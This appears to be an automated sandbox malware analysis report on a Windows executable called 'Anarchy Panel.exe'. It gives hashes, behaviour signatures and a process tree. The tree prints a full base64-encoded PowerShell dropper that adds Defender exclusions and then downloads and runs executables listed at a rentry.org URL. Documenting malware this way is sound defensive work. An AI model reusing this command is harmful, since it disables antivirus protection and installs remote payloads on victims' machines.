Analysis

  • max time kernel
    34s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-06-2023 09:27

General

  • Target

    Anarchy Panel 4.7/Anarchy Panel.exe

  • Size

    71KB

  • MD5

    921b80699829ba456a35ff4a4cc16861

  • SHA1

    f01420e7dd677d50763c8344d33549076734682a

  • SHA256

    a94809a32eb1cee1f9490410fe9592790fe00802c620b1b881fb0c8815b1efba

  • SHA512

    a8d2650a9f7290ddaff5c0b1a842cfd4f473f91f23fc8d7f07294c528eb98cca63a48a5f5552c4bf33465f59b9f74fbc3c9d783064e927e8974ca316893c2bf1

  • SSDEEP

    384:A67eCgMkHDsar3lL9O65uJor+1kKQmQhVXZzyM9MpPYAhk5:AFla6/wmhrV2pL

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://rentry.org/nipkv/raw

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe
    "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Anarchy Panel.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:648
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAaQBrACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABhAGsAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYgBkAHQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABkAGMAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAG4AaQBwAGsAdgAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAegB3AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBxAGkAYgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGgAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAeABmAGgAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeQBrAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAZQB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB0AGkAegAjAD4A"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3420

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ckmfjvjs.awg.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3420-162-0x00000000077E0000-0x00000000077FE000-memory.dmp

    Filesize

    120KB

  • memory/3420-136-0x0000000005370000-0x0000000005380000-memory.dmp

    Filesize

    64KB

  • memory/3420-164-0x0000000007BA0000-0x0000000007BBA000-memory.dmp

    Filesize

    104KB

  • memory/3420-165-0x000000007FDC0000-0x000000007FDD0000-memory.dmp

    Filesize

    64KB

  • memory/3420-138-0x0000000006150000-0x00000000061B6000-memory.dmp

    Filesize

    408KB

  • memory/3420-141-0x0000000006230000-0x0000000006296000-memory.dmp

    Filesize

    408KB

  • memory/3420-134-0x00000000059B0000-0x0000000005FD8000-memory.dmp

    Filesize

    6.2MB

  • memory/3420-149-0x0000000006850000-0x000000000686E000-memory.dmp

    Filesize

    120KB

  • memory/3420-150-0x0000000005370000-0x0000000005380000-memory.dmp

    Filesize

    64KB

  • memory/3420-151-0x0000000007820000-0x0000000007852000-memory.dmp

    Filesize

    200KB

  • memory/3420-152-0x0000000070400000-0x000000007044C000-memory.dmp

    Filesize

    304KB

  • memory/3420-133-0x0000000005290000-0x00000000052C6000-memory.dmp

    Filesize

    216KB

  • memory/3420-176-0x000000007FDC0000-0x000000007FDD0000-memory.dmp

    Filesize

    64KB

  • memory/3420-135-0x0000000005370000-0x0000000005380000-memory.dmp

    Filesize

    64KB

  • memory/3420-137-0x00000000058C0000-0x00000000058E2000-memory.dmp

    Filesize

    136KB

  • memory/3420-166-0x0000000007BF0000-0x0000000007BFA000-memory.dmp

    Filesize

    40KB

  • memory/3420-167-0x0000000007E40000-0x0000000007ED6000-memory.dmp

    Filesize

    600KB

  • memory/3420-168-0x0000000007DD0000-0x0000000007DDE000-memory.dmp

    Filesize

    56KB

  • memory/3420-169-0x0000000007E20000-0x0000000007E3A000-memory.dmp

    Filesize

    104KB

  • memory/3420-170-0x0000000007E10000-0x0000000007E18000-memory.dmp

    Filesize

    32KB

  • memory/3420-171-0x0000000008010000-0x0000000008032000-memory.dmp

    Filesize

    136KB

  • memory/3420-172-0x0000000008E10000-0x00000000093B4000-memory.dmp

    Filesize

    5.6MB

  • memory/3420-173-0x0000000005370000-0x0000000005380000-memory.dmp

    Filesize

    64KB

  • memory/3420-174-0x0000000005370000-0x0000000005380000-memory.dmp

    Filesize

    64KB

  • memory/3420-175-0x0000000005370000-0x0000000005380000-memory.dmp

    Filesize

    64KB

  • memory/3420-163-0x00000000081E0000-0x000000000885A000-memory.dmp

    Filesize

    6.5MB